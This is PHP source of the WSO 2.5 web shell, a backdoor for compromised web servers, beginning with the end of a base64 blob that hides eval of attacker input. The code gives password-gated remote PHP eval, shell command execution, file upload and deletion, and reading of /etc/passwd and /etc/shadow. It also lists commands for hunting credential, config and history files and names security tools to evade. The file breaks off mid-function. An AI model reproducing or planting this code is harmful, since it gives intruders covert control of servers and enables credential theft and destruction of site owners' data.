DQoJCSk7DQoJCWVjaG8gc2VyaWFsaXplKCRhKTsNCgl9IGVsc2Ugew0KCQlldmFsKCRfUE9TVFsn | |
cDEnXSk7DQoJfQ0KfQ0KaWYoIGVtcHR5KCRfUE9TVFsnYSddKSApDQoJaWYoaXNzZXQoJGRlZmF1 | |
bHRfYWN0aW9uKSAmJiBmdW5jdGlvbl9leGlzdHMoJ2FjdGlvbicgLiAkZGVmYXVsdF9hY3Rpb24p | |
KQ0KCQkkX1BPU1RbJ2EnXSA9ICRkZWZhdWx0X2FjdGlvbjsNCgllbHNlDQoJCSRfUE9TVFsnYSdd | |
ID0gJ1NlY0luZm8nOw0KaWYoICFlbXB0eSgkX1BPU1RbJ2EnXSkgJiYgZnVuY3Rpb25fZXhpc3Rz | |
KCdhY3Rpb24nIC4gJF9QT1NUWydhJ10pICkNCgljYWxsX3VzZXJfZnVuYygnYWN0aW9uJyAuICRf | |
UE9TVFsnYSddKTsNCmV4aXQ7 | |
")); | |
} | |
?> | |
<?php> | |
/////////////////////////////////////////////////////////////////////////////////////////////////////////////// | |
@ini_set('error_log',NULL); | |
@ini_set('log_errors',0); | |
@ini_set('max_execution_time',0); | |
@set_time_limit(0); | |
@set_magic_quotes_runtime(0); | |
@define('WSO_VERSION', '2.5'); | |
if(get_magic_quotes_gpc()) { | |
function WSOstripslashes($array) { | |
return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array); | |
} | |
$_POST = WSOstripslashes($_POST); | |
$_COOKIE = WSOstripslashes($_COOKIE); | |
} | |
function wsoLogin() { | |
die("<pre align=center><form method=post>Password: <input type=password name=pass><input type=submit value='>>'></form></pre>"); | |
} | |
function WSOsetcookie($k, $v) { | |
$_COOKIE[$k] = $v; | |
setcookie($k, $v); | |
} | |
if(!empty($auth_pass)) { | |
if(isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass)) | |
WSOsetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass); | |
if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $auth_pass)) | |
wsoLogin(); | |
} | |
if(strtolower(substr(PHP_OS,0,3)) == "win") | |
$os = 'win'; | |
else | |
$os = 'nix'; | |
$safe_mode = @ini_get('safe_mode'); | |
if(!$safe_mode) | |
error_reporting(0); | |
$disable_functions = @ini_get('disable_functions'); | |
$home_cwd = @getcwd(); | |
if(isset($_POST['c'])) | |
@chdir($_POST['c']); | |
$cwd = @getcwd(); | |
if($os == 'win') { | |
$home_cwd = str_replace("\\", "/", $home_cwd); | |
$cwd = str_replace("\\", "/", $cwd); | |
} | |
if($cwd[strlen($cwd)-1] != '/') | |
$cwd .= '/'; | |
if(!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'])) | |
$_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$default_use_ajax; | |
if($os == 'win') | |
$aliases = array( | |
"List Directory" => "dir", | |
"Find index.php in current dir" => "dir /s /w /b index.php", | |
"Find *config*.php in current dir" => "dir /s /w /b *config*.php", | |
"Show active connections" => "netstat -an", | |
"Show running services" => "net start", | |
"User accounts" => "net user", | |
"Show computers" => "net view", | |
"ARP Table" => "arp -a", | |
"IP Configuration" => "ipconfig /all" | |
); | |
else | |
$aliases = array( | |
"List dir" => "ls -lha", | |
"list file attributes on a Linux second extended file system" => "lsattr -va", | |
"show opened ports" => "netstat -an | grep -i listen", | |
"process status" => "ps aux", | |
"Find" => "", | |
"find all suid files" => "find / -type f -perm -04000 -ls", | |
"find suid files in current dir" => "find . -type f -perm -04000 -ls", | |
"find all sgid files" => "find / -type f -perm -02000 -ls", | |
"find sgid files in current dir" => "find . -type f -perm -02000 -ls", | |
"find config.inc.php files" => "find / -type f -name config.inc.php", | |
"find config* files" => "find / -type f -name \"config*\"", | |
"find config* files in current dir" => "find . -type f -name \"config*\"", | |
"find all writable folders and files" => "find / -perm -2 -ls", | |
"find all writable folders and files in current dir" => "find . -perm -2 -ls", | |
"find all service.pwd files" => "find / -type f -name service.pwd", | |
"find service.pwd files in current dir" => "find . -type f -name service.pwd", | |
"find all .htpasswd files" => "find / -type f -name .htpasswd", | |
"find .htpasswd files in current dir" => "find . -type f -name .htpasswd", | |
"find all .bash_history files" => "find / -type f -name .bash_history", | |
"find .bash_history files in current dir" => "find . -type f -name .bash_history", | |
"find all .fetchmailrc files" => "find / -type f -name .fetchmailrc", | |
"find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc", | |
"Locate" => "", | |
"locate httpd.conf files" => "locate httpd.conf", | |
"locate vhosts.conf files" => "locate vhosts.conf", | |
"locate proftpd.conf files" => "locate proftpd.conf", | |
"locate psybnc.conf files" => "locate psybnc.conf", | |
"locate my.conf files" => "locate my.conf", | |
"locate admin.php files" =>"locate admin.php", | |
"locate cfg.php files" => "locate cfg.php", | |
"locate conf.php files" => "locate conf.php", | |
"locate config.dat files" => "locate config.dat", | |
"locate config.php files" => "locate config.php", | |
"locate config.inc files" => "locate config.inc", | |
"locate config.inc.php" => "locate config.inc.php", | |
"locate config.default.php files" => "locate config.default.php", | |
"locate config* files " => "locate config", | |
"locate .conf files"=>"locate '.conf'", | |
"locate .pwd files" => "locate '.pwd'", | |
"locate .sql files" => "locate '.sql'", | |
"locate .htpasswd files" => "locate '.htpasswd'", | |
"locate .bash_history files" => "locate '.bash_history'", | |
"locate .mysql_history files" => "locate '.mysql_history'", | |
"locate .fetchmailrc files" => "locate '.fetchmailrc'", | |
"locate backup files" => "locate backup", | |
"locate dump files" => "locate dump", | |
"locate priv files" => "locate priv" | |
); | |
function wsoHeader() { | |
if(empty($_POST['charset'])) | |
$_POST['charset'] = $GLOBALS['default_charset']; | |
global $color; | |
if(!$color) $color = 'white'; | |
echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] . " - WSO " . WSO_VERSION ."</title> | |
<style> | |
body{background-color:#444;color:#e1e1e1;} | |
body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; } | |
table.info{ color:#fff;background-color:#222; } | |
span,h1,a{ color: $color !important; } | |
span{ font-weight: bolder; } | |
h1{ border-left:5px solid $color;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; } | |
div.content{ padding: 5px;margin-left:5px;background-color:#333; } | |
a{ text-decoration:none; } | |
a:hover{ text-decoration:underline; } | |
.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; } | |
.bigarea{ width:100%;height:300px; } | |
input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid $color; font: 9pt Monospace,'Courier New'; } | |
form{ margin:0px; } | |
#toolsTbl{ text-align:center; } | |
.toolsInp{ width: 300px } | |
.main th{text-align:left;background-color:#5e5e5e;} | |
.main tr:hover{background-color:#5e5e5e} | |
.l1{background-color:#444} | |
.l2{background-color:#333} | |
pre{font-family:Courier,Monospace;} | |
</style> | |
<script> | |
var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "'; | |
var a_ = '" . htmlspecialchars(@$_POST['a']) ."' | |
var charset_ = '" . htmlspecialchars(@$_POST['charset']) ."'; | |
var p1_ = '" . ((strpos(@$_POST['p1'],"\n")!==false)?'':htmlspecialchars($_POST['p1'],ENT_QUOTES)) ."'; | |
var p2_ = '" . ((strpos(@$_POST['p2'],"\n")!==false)?'':htmlspecialchars($_POST['p2'],ENT_QUOTES)) ."'; | |
var p3_ = '" . ((strpos(@$_POST['p3'],"\n")!==false)?'':htmlspecialchars($_POST['p3'],ENT_QUOTES)) ."'; | |
var d = document; | |
function set(a,c,p1,p2,p3,charset) { | |
if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_; | |
if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_; | |
if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_; | |
if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_; | |
if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_; | |
if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_; | |
} | |
function g(a,c,p1,p2,p3,charset) { | |
set(a,c,p1,p2,p3,charset); | |
d.mf.submit(); | |
} | |
function a(a,c,p1,p2,p3,charset) { | |
set(a,c,p1,p2,p3,charset); | |
var params = 'ajax=true'; | |
for(i=0;i<d.mf.elements.length;i++) | |
params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value); | |
sr('" . addslashes($_SERVER['REQUEST_URI']) ."', params); | |
} | |
function sr(url, params) { | |
if (window.XMLHttpRequest) | |
req = new XMLHttpRequest(); | |
else if (window.ActiveXObject) | |
req = new ActiveXObject('Microsoft.XMLHTTP'); | |
if (req) { | |
req.onreadystatechange = processReqChange; | |
req.open('POST', url, true); | |
req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded'); | |
req.send(params); | |
} | |
} | |
function processReqChange() { | |
if( (req.readyState == 4) ) | |
if(req.status == 200) { | |
var reg = new RegExp(\"(\\\\d+)([\\\\S\\\\s]*)\", 'm'); | |
var arr=reg.exec(req.responseText); | |
eval(arr[2].substr(0, arr[1])); | |
} else alert('Request error!'); | |
} | |
</script> | |
<head><body><div style='position:absolute;width:100%;background-color:#444;top:0;left:0;'> | |
<form method=post name=mf style='display:none;'> | |
<input type=hidden name=a> | |
<input type=hidden name=c> | |
<input type=hidden name=p1> | |
<input type=hidden name=p2> | |
<input type=hidden name=p3> | |
<input type=hidden name=charset> | |
</form>"; | |
$freeSpace = @diskfreespace($GLOBALS['cwd']); | |
$totalSpace = @disk_total_space($GLOBALS['cwd']); | |
$totalSpace = $totalSpace?$totalSpace:1; | |
$release = @php_uname('r'); | |
$kernel = @php_uname('s'); | |
$explink = 'http://exploit-db.com/search/?action=search&filter_description='; | |
if(strpos('Linux', $kernel) !== false) | |
$explink .= urlencode('Linux Kernel ' . substr($release,0,6)); | |
else | |
$explink .= urlencode($kernel . ' ' . substr($release,0,3)); | |
if(!function_exists('posix_getegid')) { | |
$user = @get_current_user(); | |
$uid = @getmyuid(); | |
$gid = @getmygid(); | |
$group = "?"; | |
} else { | |
$uid = @posix_getpwuid(posix_geteuid()); | |
$gid = @posix_getgrgid(posix_getegid()); | |
$user = $uid['name']; | |
$uid = $uid['uid']; | |
$group = $gid['name']; | |
$gid = $gid['gid']; | |
} | |
$cwd_links = ''; | |
$path = explode("/", $GLOBALS['cwd']); | |
$n=count($path); | |
for($i=0; $i<$n-1; $i++) { | |
$cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\""; | |
for($j=0; $j<=$i; $j++) | |
$cwd_links .= $path[$j].'/'; | |
$cwd_links .= "\")'>".$path[$i]."/</a>"; | |
} | |
$charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866'); | |
$opt_charsets = ''; | |
foreach($charsets as $item) | |
$opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>'; | |
$m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Console'=>'Console','Sql'=>'Sql','Php'=>'Php','String tools'=>'StringTools','Bruteforce'=>'Bruteforce','Network'=>'Network'); | |
if(!empty($GLOBALS['auth_pass'])) | |
$m['Logout'] = 'Logout'; | |
$m['Self remove'] = 'SelfRemove'; | |
$menu = ''; | |
foreach($m as $k => $v) | |
$menu .= '<th width="'.(int)(100/count($m)).'%">[ <a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a> ]</th>'; | |
$drives = ""; | |
if($GLOBALS['os'] == 'win') { | |
foreach(range('c','z') as $drive) | |
if(is_dir($drive.':\\')) | |
$drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> '; | |
} | |
echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:' . ($GLOBALS['os'] == 'win'?'<br>Drives:':'') . '</span></td>' | |
. '<td><nobr>' . substr(@php_uname(), 0, 120) . ' <a href="' . $explink . '" target=_blank>[exploit-db.com]</a></nobr><br>' . $uid . ' ( ' . $user . ' ) <span>Group:</span> ' . $gid . ' ( ' . $group . ' )<br>' . @phpversion() . ' <span>Safe mode:</span> ' . ($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=green><b>OFF</b></font>') | |
. ' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> ' . date('Y-m-d H:i:s') . '<br>' . wsoViewSize($totalSpace) . ' <span>Free:</span> ' . wsoViewSize($freeSpace) . ' ('. (int) ($freeSpace/$totalSpace*100) . '%)<br>' . $cwd_links . ' '. wsoPermsColor($GLOBALS['cwd']) . ' <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ home ]</a><br>' . $drives . '</td>' | |
. '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">' . $opt_charsets . '</optgroup></select><br><span>Server IP:</span><br>' . @$_SERVER["SERVER_ADDR"] . '<br><span>Client IP:</span><br>' . $_SERVER['REMOTE_ADDR'] . '</nobr></td></tr></table>' | |
. '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>' . $menu . '</tr></table><div style="margin:5">'; | |
} | |
function wsoFooter() { | |
$is_writable = is_writable($GLOBALS['cwd'])?" <font color='green'>(Writeable)</font>":" <font color=red>(Not writable)</font>"; | |
echo " | |
</div> | |
<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100% style='border-top:2px solid #333;border-bottom:2px solid #333;'> | |
<tr> | |
<td><form onsubmit='g(null,this.c.value,\"\");return false;'><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'><input type=submit value='>>'></form></td> | |
<td><form onsubmit=\"g('FilesTools',null,this.f.value);return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td> | |
</tr><tr> | |
<td><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);return false;\"><span>Make dir:</span>$is_writable<br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form></td> | |
<td><form onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span>Make file:</span>$is_writable<br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td> | |
</tr><tr> | |
<td><form onsubmit=\"g('Console',null,this.c.value);return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td> | |
<td><form method='post' ENCTYPE='multipart/form-data'> | |
<input type=hidden name=a value='FilesMAn'> | |
<input type=hidden name=c value='" . $GLOBALS['cwd'] ."'> | |
<input type=hidden name=p1 value='uploadFile'> | |
<input type=hidden name=charset value='" . (isset($_POST['charset'])?$_POST['charset']:'') . "'> | |
<span>Upload file:</span>$is_writable<br><input class='toolsInp' type=file name=f><input type=submit value='>>'></form><br ></td> | |
</tr></table></div></body></html>"; | |
} | |
if (!function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false)) { | |
function posix_getpwuid($p) {return false;} } | |
if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false)) { | |
function posix_getgrgid($p) {return false;} } | |
function wsoEx($in) { | |
$out = ''; | |
if (function_exists('exec')) { | |
@exec($in,$out); | |
$out = @join("\n",$out); | |
} elseif (function_exists('passthru')) { | |
ob_start(); | |
@passthru($in); | |
$out = ob_get_clean(); | |
} elseif (function_exists('system')) { | |
ob_start(); | |
@system($in); | |
$out = ob_get_clean(); | |
} elseif (function_exists('shell_exec')) { | |
$out = shell_exec($in); | |
} elseif (is_resource($f = @popen($in,"r"))) { | |
$out = ""; | |
while(!@feof($f)) | |
$out .= fread($f,1024); | |
pclose($f); | |
} | |
return $out; | |
} | |
function wsoViewSize($s) { | |
if($s >= 1073741824) | |
return sprintf('%1.2f', $s / 1073741824 ). ' GB'; | |
elseif($s >= 1048576) | |
return sprintf('%1.2f', $s / 1048576 ) . ' MB'; | |
elseif($s >= 1024) | |
return sprintf('%1.2f', $s / 1024 ) . ' KB'; | |
else | |
return $s . ' B'; | |
} | |
function wsoPerms($p) { | |
if (($p & 0xC000) == 0xC000)$i = 's'; | |
elseif (($p & 0xA000) == 0xA000)$i = 'l'; | |
elseif (($p & 0x8000) == 0x8000)$i = '-'; | |
elseif (($p & 0x6000) == 0x6000)$i = 'b'; | |
elseif (($p & 0x4000) == 0x4000)$i = 'd'; | |
elseif (($p & 0x2000) == 0x2000)$i = 'c'; | |
elseif (($p & 0x1000) == 0x1000)$i = 'p'; | |
else $i = 'u'; | |
$i .= (($p & 0x0100) ? 'r' : '-'); | |
$i .= (($p & 0x0080) ? 'w' : '-'); | |
$i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-')); | |
$i .= (($p & 0x0020) ? 'r' : '-'); | |
$i .= (($p & 0x0010) ? 'w' : '-'); | |
$i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-')); | |
$i .= (($p & 0x0004) ? 'r' : '-'); | |
$i .= (($p & 0x0002) ? 'w' : '-'); | |
$i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-')); | |
return $i; | |
} | |
function wsoPermsColor($f) { | |
if (!@is_readable($f)) | |
return '<font color=#FF0000>' . wsoPerms(@fileperms($f)) . '</font>'; | |
elseif (!@is_writable($f)) | |
return '<font color=white>' . wsoPerms(@fileperms($f)) . '</font>'; | |
else | |
return '<font color=#25ff00>' . wsoPerms(@fileperms($f)) . '</font>'; | |
} | |
function wsoScandir($dir) { | |
if(function_exists("scandir")) { | |
return scandir($dir); | |
} else { | |
$dh = opendir($dir); | |
while (false !== ($filename = readdir($dh))) | |
$files[] = $filename; | |
return $files; | |
} | |
} | |
function wsoWhich($p) { | |
$path = wsoEx('which ' . $p); | |
if(!empty($path)) | |
return $path; | |
return false; | |
} | |
function actionSecInfo() { | |
wsoHeader(); | |
echo '<h1>Server security information</h1><div class=content>'; | |
function wsoSecParam($n, $v) { | |
$v = trim($v); | |
if($v) { | |
echo '<span>' . $n . ': </span>'; | |
if(strpos($v, "\n") === false) | |
echo $v . '<br>'; | |
else | |
echo '<pre class=ml1>' . $v . '</pre>'; | |
} | |
} | |
wsoSecParam('Server software', @getenv('SERVER_SOFTWARE')); | |
if(function_exists('apache_get_modules')) | |
wsoSecParam('Loaded Apache modules', implode(', ', apache_get_modules())); | |
wsoSecParam('Disabled PHP Functions', $GLOBALS['disable_functions']?$GLOBALS['disable_functions']:'none'); | |
wsoSecParam('Open base dir', @ini_get('open_basedir')); | |
wsoSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir')); | |
wsoSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir')); | |
wsoSecParam('cURL support', function_exists('curl_version')?'enabled':'no'); | |
$temp=array(); | |
if(function_exists('mysql_get_client_info')) | |
$temp[] = "MySql (".mysql_get_client_info().")"; | |
if(function_exists('mssql_connect')) | |
$temp[] = "MSSQL"; | |
if(function_exists('pg_connect')) | |
$temp[] = "PostgreSQL"; | |
if(function_exists('oci_connect')) | |
$temp[] = "Oracle"; | |
wsoSecParam('Supported databases', implode(', ', $temp)); | |
echo '<br>'; | |
if($GLOBALS['os'] == 'nix') { | |
wsoSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no'); | |
wsoSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"shadow\")'>[view]</a>":'no'); | |
wsoSecParam('OS version', @file_get_contents('/proc/version')); | |
wsoSecParam('Distr name', @file_get_contents('/etc/issue.net')); | |
if(!$GLOBALS['safe_mode']) { | |
$userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl'); | |
$danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja'); | |
$downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror'); | |
echo '<br>'; | |
$temp=array(); | |
foreach ($userful as $item) | |
if(wsoWhich($item)) | |
$temp[] = $item; | |
wsoSecParam('Userful', implode(', ',$temp)); | |
$temp=array(); | |
foreach ($danger as $item) | |
if(wsoWhich($item)) | |
$temp[] = $item; | |
wsoSecParam('Danger', implode(', ',$temp)); | |
$temp=array(); | |
foreach ($downloaders as $item) | |
if(wsoWhich($item)) | |
$temp[] = $item; | |
wsoSecParam('Downloaders', implode(', ',$temp)); | |
echo '<br/>'; | |
wsoSecParam('HDD space', wsoEx('df -h')); | |
wsoSecParam('Hosts', @file_get_contents('/etc/hosts')); | |
echo '<br/><span>posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>'; | |
if (isset ($_POST['p2'], $_POST['p3']) && is_numeric($_POST['p2']) && is_numeric($_POST['p3'])) { | |
$temp = ""; | |
for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) { | |
$uid = @posix_getpwuid($_POST['p2']); | |
if ($uid) | |
$temp .= join(':',$uid)."\n"; | |
} | |
echo '<br/>'; | |
wsoSecParam('Users', $temp); | |
} | |
} | |
} else { | |
wsoSecParam('OS Version',wsoEx('ver')); | |
wsoSecParam('Account Settings',wsoEx('net accounts')); | |
wsoSecParam('User Accounts',wsoEx('net user')); | |
} | |
echo '</div>'; | |
wsoFooter(); | |
} | |
function actionPhp() { | |
if(isset($_POST['ajax'])) { | |
WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', true); | |
ob_start(); | |
eval($_POST['p1']); | |
$temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "\n\r\t\\'\0") . "';\n"; | |
echo strlen($temp), "\n", $temp; | |
exit; | |
} | |
if(empty($_POST['ajax']) && !empty($_POST['p1'])) | |
WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', 0); | |
wsoHeader(); | |
if(isset($_POST['p2']) && ($_POST['p2'] == 'info')) { | |
echo '<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>'; | |
ob_start(); | |
phpinfo(); | |
$tmp = ob_get_clean(); | |
$tmp = preg_replace(array ( | |
'!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU', | |
'!td, th {(.*)}!msiU', | |
'!<img[^>]+>!msiU', | |
), array ( | |
'', | |
'.e, .v, .h, .h th {$1}', | |
'' | |
), $tmp); | |
echo str_replace('<h1','<h2', $tmp) .'</div><br>'; | |
} | |
echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(\'Php\',null,this.code.value);}else{g(\'Php\',null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><input type=submit value=Eval style="margin-top:5px">'; | |
echo ' <input type=checkbox name=ajax value=1 '.($_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>'; | |
if(!empty($_POST['p1'])) { | |
ob_start(); | |
eval($_POST['p1']); | |
echo htmlspecialchars(ob_get_clean()); | |
} | |
echo '</pre></div>'; | |
wsoFooter(); | |
} | |
function actionFilesMan() { | |
if (!empty ($_COOKIE['f'])) | |
$_COOKIE['f'] = @unserialize($_COOKIE['f']); | |
if(!empty($_POST['p1'])) { | |
switch($_POST['p1']) { | |
case 'uploadFile': | |
if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name'])) | |
echo "Can't upload file!"; | |
break; | |
case 'mkdir': | |
if(!@mkdir($_POST['p2'])) | |
echo "Can't create new dir"; | |
break; | |
case 'delete': | |
function deleteDir($path) { | |
$path = (substr($path,-1)=='/') ? $path:$path.'/'; | |
$dh = opendir($path); | |
while ( ($item = readdir($dh) ) !== false) { | |
$item = $path.$item; | |
if ( (basename($item) == "..") || (basename($item) == ".") ) | |
continue; | |
$type = filetype($item); | |
if ($type == "dir") | |
deleteDir($item); | |
else | |
@unlink($item); | |
} | |
closedir($dh); | |
@rmdir($path); | |
} | |
if(is_array(@$_POST['f'])) | |
foreach($_POST['f'] as $f) { | |
if($f == '..') | |
continue; | |
$f = urldecode($f); | |
if(is_dir($f)) | |
deleteDir($f); | |
else | |
@unlink($f); | |
} | |
break; | |
case 'paste': | |
if($_COOKIE['act'] == 'copy') { | |
function copy_paste($c,$s,$d){ | |
if(is_dir($c.$s)){ | |
mkdir($d.$s); | |
$h = @opendir($c.$s); | |
while (($f = @readdir($h)) !== false) | |
if (($f != ".") and ($f != "..")) | |
copy_paste($c.$s.'/',$f, $d.$s.'/'); | |
} elseif(is_file($c.$s)) | |
@copy($c.$s, $d.$s); | |
} | |
foreach($_COOKIE['f'] as $f) | |
copy_paste($_COOKIE['c'],$f, $GLOBALS['cwd']); | |
} elseif($_COOKIE['act'] == 'move') { | |
function move_paste($c,$s,$d){ | |
if(is_dir($c.$s)){ | |
mkdir($d.$s); | |
$h = @opendir($c.$s); | |
while (($f = @readdir($h)) !== false) | |
if (($f != ".") and ($f != "..")) | |
copy_paste($c.$s.'/',$f, $d.$s.'/'); | |
} elseif(@is_file($c.$s)) | |
@copy($c.$s, $d.$s); | |
} | |
foreach($_COOKIE['f'] as $f) | |
@rename($_COOKIE['c'].$f, $GLOBALS['cwd'].$f); | |
} elseif($_COOKIE['act'] == 'zip') { | |
if(class_exists('ZipArchive')) { | |
$zip = new ZipArchive(); | |
if ($zip->open($_POST['p2'], 1)) { | |
chdir($_COOKIE['c']); | |
foreach($_COOKIE['f'] as $f) { | |
if($f == '..') | |
continue; | |
if(@is_file($_COOKIE['c'].$f)) | |
$zip->addFile($_COOKIE['c'].$f, $f); | |
elseif(@is_dir($_COOKIE['c'].$f)) { | |
$iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.'/')); | |
foreach ($iterator as $key=>$value) { | |
$zip->addFile(realpath($key), $key); | |
} | |
} | |
} | |
chdir($GLOBALS['cwd']); | |
$zip->close(); | |
} | |
} | |
} elseif($_COOKIE['act'] == 'unzip') { | |
if(class_exists('ZipArchive')) { | |
$zip = new ZipArchive(); | |
foreach($_COOKIE['f'] as $f) { | |
if($zip->open($_COOKIE['c'].$f)) { | |
$zip->extractTo($GLOBALS['cwd']); | |
$zip->close(); | |
} | |
} | |
} | |
} elseif($_COOKIE['act'] == 'tar') { | |
chdir($_COOKIE['c']); | |
$_COOKIE['f'] = array_map('escapeshellarg', $_COOKIE['f']); | |
wsoEx('tar cfzv ' . escapeshellarg($_POST['p2']) . ' ' . implode(' ', $_COOKIE['f'])); | |
chdir($GLOBALS['cwd']); | |
} | |
unset($_COOKIE['f']); | |
setcookie('f', '', time() - 3600); | |
break; | |
default: | |
if(!empty($_POST['p1'])) { | |
WSOsetcookie('act', $_POST['p1']); | |
WSOsetcookie('f', serialize(@$_POST['f'])); | |
WSOsetcookie('c', @$_POST['c']); | |
} | |
break; | |
} | |
} | |
wsoHeader(); | |
echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>'; | |
$dirContent = wsoScandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']); | |
if($dirContent === false) { echo 'Can\'t open this folder!';wsoFooter(); return; } | |
global $sort; | |
$sort = array('name', 1); | |
if(!empty($_POST['p1'])) { | |
if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match)) | |
$sort = array($match[1], (int)$match[2]); | |
} | |
echo "<script> | |
function sa() { | |
for(i=0;i<d.files.elements.length;i++) | |
if(d.files.elements[i].type == 'checkbox') | |
d.files.elements[i].checked = d.files.elements[0].checked; | |
} | |
</script> | |
<table width='100%' class='main' cellspacing='0' cellpadding='2'> | |
<form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>"; | |
$dirs = $files = array(); | |
$n = count($dirContent); | |
for($i=0;$i<$n;$i++) { | |
$ow = @posix_getpwuid(@fileowner($dirContent[$i])); | |
$gr = @posix_getgrgid(@filegroup($dirContent[$i])); | |
$tmp = array('name' => $dirContent[$i], | |
'path' => $GLOBALS['cwd'].$dirContent[$i], | |
'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])), | |
